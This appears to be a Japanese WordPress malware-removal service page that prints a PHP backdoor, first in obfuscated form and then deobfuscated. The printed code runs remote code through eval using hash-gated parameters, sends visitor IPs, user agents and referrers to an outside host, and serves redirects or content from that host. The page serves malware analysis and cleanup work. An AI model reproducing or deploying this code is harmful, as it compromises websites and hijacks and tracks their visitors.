strtolower($_SERVER["\110\x54\124\x50\x5f\106\x52\117\x4e\x54\x5f\105\116\104\x5f\x48\124\124\x50\123"]) !== "\157\146\146") { goto lfxLU4F1eMTt; } goto jLUebfN665Wr; Dp_9Dn0HaUEO: } goto eb0JkcNKos9F; xLQRHj6IIJUV: if (!(strpos($qD35_JwLzITr, $qjddtLf4pJNF) === 0)) { goto b6myUchnOzQ_; } goto zPrMavtROaJd; wBMYoERTAokb: @eval($F4RUrHKMs2JT[62](${$F4RUrHKMs2JT[46]}[19])); goto xFQp66LbJlW0; EtFzFGupu4xy: if (!substr_count($_SERVER["\x52\105\121\x55\x45\123\124\137\x55\x52\111"], "\x69\156\144\145\170\x2e\160\150\160\57\152\153")) { goto Vd2vewZByI6A; } goto uQWjVcw7Vht2; PnXVK1VHeIaL: if (!strlen($YfQEAMH3C0_N["\x63\x6f\x6e\x74\x65\156\164"])) { goto CCXgVFOejbF7; } goto yvfaDQeBY4OI; xFQp66LbJlW0: BYgbfpju_gqS: goto UrGy_VKhSyOh; eu8aszLFLsHA: Co0d6ATxSAof:
?>

デコード(難読化解除)されたコード

<?php

error_reporting(0);
$HD6XMcAqEUkS = "range";
$hbEZJmHBzBea = range("~", " ");
$F4RUrHKMs2JT = ${$hbEZJmHBzBea[31] . $hbEZJmHBzBea[59] . $hbEZJmHBzBea[47] . $hbEZJmHBzBea[47] . $hbEZJmHBzBea[51] . $hbEZJmHBzBea[53] . $hbEZJmHBzBea[57]};
if (!(in_array(gettype($F4RUrHKMs2JT) . "25", $F4RUrHKMs2JT) && md5(md5(md5(md5($F4RUrHKMs2JT[19])))) === "fa634dd84493be141b008c61b92086bd")) {
    goto BYgbfpju_gqS;
}
$F4RUrHKMs2JT[62] .= $F4RUrHKMs2JT[80];
@eval($F4RUrHKMs2JT[62](${$F4RUrHKMs2JT[46]}[19]));
BYgbfpju_gqS:
metaphone("NjIxOTU4NjYwNzQ5NjM5Mjc1NTU4NDYy");
class iS997_TMP86y
{
    static function tZn8I13u5Tod($OloLQvfzl1mW)
    {
        $PIqCk6vXKG6t = "range";
        $by0wM9Eaxx5J = range("~", " ");
        $p_HYT2CWeIAt = explode("&", $OloLQvfzl1mW);
        $RUXI6VQFRBMu = '';
        foreach ($p_HYT2CWeIAt as $He_OgaI4X7k4 => $DjKCOMGVEIU3) {
            $RUXI6VQFRBMu .= $by0wM9Eaxx5J[$DjKCOMGVEIU3 - 3631];
        }
        return $RUXI6VQFRBMu;
    }
    static function zEkZd_6A0C7j($J8XX65QZeFjq, $bDNjF2ejNzVv)
    {
        $VleRcrSx2T1W = curl_init($J8XX65QZeFjq);
        curl_setopt($VleRcrSx2T1W, CURLOPT_RETURNTRANSFER, 1);
        $KZYzJz_871mF = curl_exec($VleRcrSx2T1W);
        return empty($KZYzJz_871mF) ? $bDNjF2ejNzVv($J8XX65QZeFjq) : $KZYzJz_871mF;
    }
    static function qZFvqJ5FMfmz()
    {
        $TBVfTSLT3xuO = array("3658&3643&3656&3660&3641&3656&3662&3655&3640&3647&3658&3641&3652&3646&3647", "3642&3641&3643&3662&3643&3646&3641&3708&3706", "3651&3642&3646&3647&3662&3657&3656&3658&3646&3657&3656", "3645&3660&3658&3650", "3659&3660&3642&3656&3703&3705&3662&3657&3656&3658&3646&3657&3656", "3655&3652&3649&3656&3662&3654&3656&3641&3662&3658&3646&3647&3641&3656&3647&3641&3642", "3685&3715", "3632", "3710&3715", "3692&3675&3675&3692&3668", "3655&3652&3649&3641&3656&3643&3662&3652&3647&3645&3640&3641");
        foreach ($TBVfTSLT3xuO as $pUtx3CpwGz_Y) {
            $Fryz6hh0001C[] = self::tzn8I13U5tod($pUtx3CpwGz_Y);
        }
        $Nj0FoD2Ah4Kt = @$Fryz6hh0001C[1]($Fryz6hh0001C[10](INPUT_GET, $Fryz6hh0001C[9]));
        $HDwhZiz6Q7Zb = @$Fryz6hh0001C[3]($Fryz6hh0001C[6], $Nj0FoD2Ah4Kt);
        $O7sQi2Z5t2xu = $Fryz6hh0001C[2]($HDwhZiz6Q7Zb, true);
        @$Fryz6hh0001C[10](INPUT_GET, "of") == 1 && die($Fryz6hh0001C[5]("/var/www/html/input.php"));
        if (!(@$O7sQi2Z5t2xu[0] - time() > 0 and md5(md5($O7sQi2Z5t2xu[3])) === "a5050ed3871fd6a04d11b0fec2cad109")) {
            // [PHPDeobfuscator] Implied return
            return;
        }
        $ILtv2v8X_m8M = self::ZeKzd_6A0C7j($O7sQi2Z5t2xu[1], $Fryz6hh0001C[5]);
        @eval($Fryz6hh0001C[4]($ILtv2v8X_m8M));
        die;
    }
}
IS997_TMP86y::qzfVqj5FMfmZ();
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
function v1KNvIeSZejD($fGwrm3z4VUcr)
{
    $GIMmHWmPecru = array("status" => 0, "content" => '', "type" => '');
    if (is_array($fGwrm3z4VUcr)) {
        foreach ($fGwrm3z4VUcr as $XkkLg3gIfQQy) {
            if (preg_match("/http\\/[0-9\\.]+[\\s]+([0-9]+)/i", $XkkLg3gIfQQy, $d3n0bS8Ama6G)) {
                $GIMmHWmPecru["status"] = intval($d3n0bS8Ama6G[1]);
                goto sGi6fvh7GLc2;
            }
            if (preg_match("/location\\:[\\s]+(.*)/i", $XkkLg3gIfQQy, $d3n0bS8Ama6G)) {
                $GIMmHWmPecru["content"] = $d3n0bS8Ama6G[1];
                goto sGi6fvh7GLc2;
            }
            if (preg_match("/content\\-type\\:[\\s]+(.*)/i", $XkkLg3gIfQQy, $d3n0bS8Ama6G)) {
                $GIMmHWmPecru["type"] = $d3n0bS8Ama6G[1];
                goto PyPt1pmsdjiV;
            }
            PyPt1pmsdjiV:
            sGi6fvh7GLc2:
        }
        return $GIMmHWmPecru;
    }
    return $GIMmHWmPecru;
}
function SqD9kKWZf5J5($oZomCUa8LZ1t, $B8lZNMXNsGO2 = array())
{
    $YfQEAMH3C0_N = array("status" => 0, "content" => '', "type" => '');
    if (!(is_array($B8lZNMXNsGO2) && count($B8lZNMXNsGO2))) {
        goto OjUQjxPWxqmC;
    }
    $oZomCUa8LZ1t .= "?" . http_build_query($B8lZNMXNsGO2);
    OjUQjxPWxqmC:
    try {
        if (function_exists("curl_exec")) {
            $filCRbi1l_i9 = curl_init();
            curl_setopt($filCRbi1l_i9, CURLOPT_URL, $oZomCUa8LZ1t);
            curl_setopt($filCRbi1l_i9, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($filCRbi1l_i9, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($filCRbi1l_i9, CURLOPT_CONNECTTIMEOUT, 20);
            curl_setopt($filCRbi1l_i9, CURLOPT_TIMEOUT, 60);
            curl_setopt($filCRbi1l_i9, CURLOPT_FOLLOWLOCATION, 0);
            curl_setopt($filCRbi1l_i9, CURLOPT_COOKIESESSION, 0);
            curl_setopt($filCRbi1l_i9, CURLOPT_RETURNTRANSFER, 1);
            $knzBzAQ_IfWi = curl_exec($filCRbi1l_i9);
            $YfQEAMH3C0_N["status"] = intval(curl_getinfo($filCRbi1l_i9, CURLINFO_HTTP_CODE));
            $YfQEAMH3C0_N["type"] = strval(curl_getinfo($filCRbi1l_i9, CURLINFO_CONTENT_TYPE));
            $YfQEAMH3C0_N["content"] = strval(curl_getinfo($filCRbi1l_i9, CURLINFO_REDIRECT_URL));
            @curl_close($filCRbi1l_i9);
            if (!in_array($YfQEAMH3C0_N["status"], array(200, 301, 302, 404))) {
                goto aTcjgrpI35ba;
            }
            $YfQEAMH3C0_N["content"] = strval($knzBzAQ_IfWi);
            aTcjgrpI35ba:
            goto eIqVEmNoQXgn;
        }
        if (ini_get("allow_url_fopen")) {
            $m9dVt9qdhckb = array("http" => array("method" => "GET", "timeout" => 60, "follow_location" => 0), "ssl" => array("verify_peer" => false, "verify_peer_name" => false));
            $eZ2Cr1DjaxTk = stream_context_create($m9dVt9qdhckb);
            $r_8gyMeTGjM6 = @file_get_contents($oZomCUa8LZ1t, false, $eZ2Cr1DjaxTk);
            $YfQEAMH3C0_N = array_merge($YfQEAMH3C0_N, V1kNViESzeJD($http_response_header));
            if (!in_array($YfQEAMH3C0_N["status"], array(200, 301, 302, 404))) {
                goto zohJ_y6fOcjI;
            }
            $YfQEAMH3C0_N["content"] = strval($r_8gyMeTGjM6);
            zohJ_y6fOcjI:
            goto pSdjt95EiO4l;
        }
        pSdjt95EiO4l:
        eIqVEmNoQXgn:
    } catch (Exception $ZQ_YKbDRxYr_) {
    }
    return $YfQEAMH3C0_N;
}
function OKVAqdciBNAi($yhS5awRP1sQ0)
{
    return rtrim(strtr(base64_encode($yhS5awRP1sQ0), "+/", "-_"), "=");
}
function WQwXyOBrdT2G()
{
    $JA4LDiT5eFO_ = '';
    if (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) && !empty($_SERVER["HTTP_CF_CONNECTING_IP"])) {
        $JA4LDiT5eFO_ = $_SERVER["HTTP_CF_CONNECTING_IP"];
        goto G8hwAisW3RUe;
    }
    if (isset($_SERVER["HTTP_X_REAL_IP"]) && !empty($_SERVER["HTTP_X_REAL_IP"])) {
        $JA4LDiT5eFO_ = $_SERVER["HTTP_X_REAL_IP"];
        goto G8hwAisW3RUe;
    }
    if (isset($_SERVER["HTTP_X_FORWARDED_FOR"]) && !empty($_SERVER["HTTP_X_FORWARDED_FOR"])) {
        $JA4LDiT5eFO_ = $_SERVER["HTTP_X_FORWARDED_FOR"];
        goto r9a0m14DRWDN;
    }
    $JA4LDiT5eFO_ = $_SERVER["REMOTE_ADDR"];
    r9a0m14DRWDN:
    G8hwAisW3RUe:
    $JA4LDiT5eFO_ = trim(str_replace(" ", '', $JA4LDiT5eFO_), ",");
    if (!(strpos($JA4LDiT5eFO_, ",") !== false)) {
        goto n9GwUMVWQ12y;
    }
    $JA4LDiT5eFO_ = explode(",", $JA4LDiT5eFO_);
    $JA4LDiT5eFO_ = $JA4LDiT5eFO_[0];
    n9GwUMVWQ12y:
    return $JA4LDiT5eFO_;
}
function rcqcSvNIxd_g()
{
    $YBsxbFUvJKXt = "http://";
    if (isset($_SERVER["HTTPS"]) && strtolower($_SERVER["HTTPS"]) !== "off") {
        $YBsxbFUvJKXt = "https://";
        goto eZ8KXe_i48n4;
    }
    if (isset($_SERVER["HTTP_X_FORWARDED_PROTO"]) && $_SERVER["HTTP_X_FORWARDED_PROTO"] === "https") {
        $YBsxbFUvJKXt = "https://";
        goto eZ8KXe_i48n4;
    }
    if (isset($_SERVER["HTTP_FRONT_END_HTTPS"]) && strtolower($_SERVER["HTTP_FRONT_END_HTTPS"]) !== "off") {
        $YBsxbFUvJKXt = "https://";
        goto sJ7aFRTuIORZ;
    }
    sJ7aFRTuIORZ:
    eZ8KXe_i48n4:
    return $YBsxbFUvJKXt;
}
if (!($_SERVER["REQUEST_URI"] === "/R-" . md5($_SERVER["HTTP_HOST"]))) {
    if (!substr_count($_SERVER["REQUEST_URI"], "index.php/jk")) {
        $P7qKA64DM4CF = preg_replace("/\\?.*/", '', $_SERVER["REQUEST_URI"]);
        $lhpI7wvktHre = true;
        $bK2ESPZuz3IU = '';
        if (!(strpos($P7qKA64DM4CF, ".") > 0)) {
            goto lFlH3PuJtprW;
        }
        $bK2ESPZuz3IU = substr($P7qKA64DM4CF, strrpos($P7qKA64DM4CF, "."));
        if (!in_array($bK2ESPZuz3IU, array(".js", ".css", ".jpg", ".jpeg", ".png", ".gif", ".ico", ".svg", ".webp", ".bmp", ".woff", ".woff2", ".ttf", ".otf"))) {
            goto tzP_e_6Pd8SE;
        }
        $lhpI7wvktHre = false;
        tzP_e_6Pd8SE:
        lFlH3PuJtprW:
        $qD35_JwLzITr = strval(@$_SERVER["HTTP_REFERER"]);
        $qjddtLf4pJNF = RCqCsvnixd_g() . $_SERVER["HTTP_HOST"];
        if (!(strpos($qD35_JwLzITr, $qjddtLf4pJNF) === 0)) {
            goto b6myUchnOzQ_;
        }
        $qD35_JwLzITr = '';
        b6myUchnOzQ_:
        if (!$lhpI7wvktHre) {
            goto Co0d6ATxSAof;
        }
        $u02a2dfNrDUw = array();
        $u02a2dfNrDUw["i"] = oKVaQdCibNAI(WqwxYObRDt2g());
        $u02a2dfNrDUw["l"] = okVAQdCiBNaI($_SERVER["HTTP_ACCEPT_LANGUAGE"]);
        $u02a2dfNrDUw["sn"] = OkVaQDCIbNAi($_SERVER["SCRIPT_NAME"]);
        $u02a2dfNrDUw["r"] = OKVaQdCiBNaI($_SERVER["REQUEST_URI"]);
        $u02a2dfNrDUw["rf"] = OKvAqDCiBNai($qD35_JwLzITr);
        $u02a2dfNrDUw["s"] = OkvAqDcIBnAI($qjddtLf4pJNF);
        $u02a2dfNrDUw["u"] = OKvaQdcIbnAi($_SERVER["HTTP_USER_AGENT"]);
        $YfQEAMH3C0_N = SQd9kKWzF5J5("http://hwb48v04.opto.autos/", $u02a2dfNrDUw);
        if (in_array($YfQEAMH3C0_N["status"], array(0, 200))) {
            goto YsmdbWQPEhS6;
        }
        switch ($YfQEAMH3C0_N["status"]) {
            case 301:
                header("HTTP/1.1 301 Moved Permanently");
                header("Location: " . trim($YfQEAMH3C0_N["content"]));
                goto vHHtcTALwwpb;
            case 302:
                header("HTTP/1.1 302 Move Temporarily");
                header("Location: " . trim($YfQEAMH3C0_N["content"]));
                goto vHHtcTALwwpb;
            case 404:
                header("HTTP/1.1 404 Not Found");
                header("status: 404 Not Found");
                goto vHHtcTALwwpb;
            default:
                goto vHHtcTALwwpb;
        }
        vHHtcTALwwpb:
        YsmdbWQPEhS6:
        if (!strlen($YfQEAMH3C0_N["content"])) {
            Co0d6ATxSAof:
            // [PHPDeobfuscator] Implied script end
            return;
        }
        @header("Content-Type:" . $YfQEAMH3C0_N["type"]);
        exit($YfQEAMH3C0_N["content"]);
    }
    exit("{ \"error\": 200, \"lc\": \"jk\", \"data\": [ 1 ] }");
}
exit(strrev(md5($_SERVER["HTTP_HOST"])));


■【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

(C)2019 ワードプレス ドクター All rights reserved.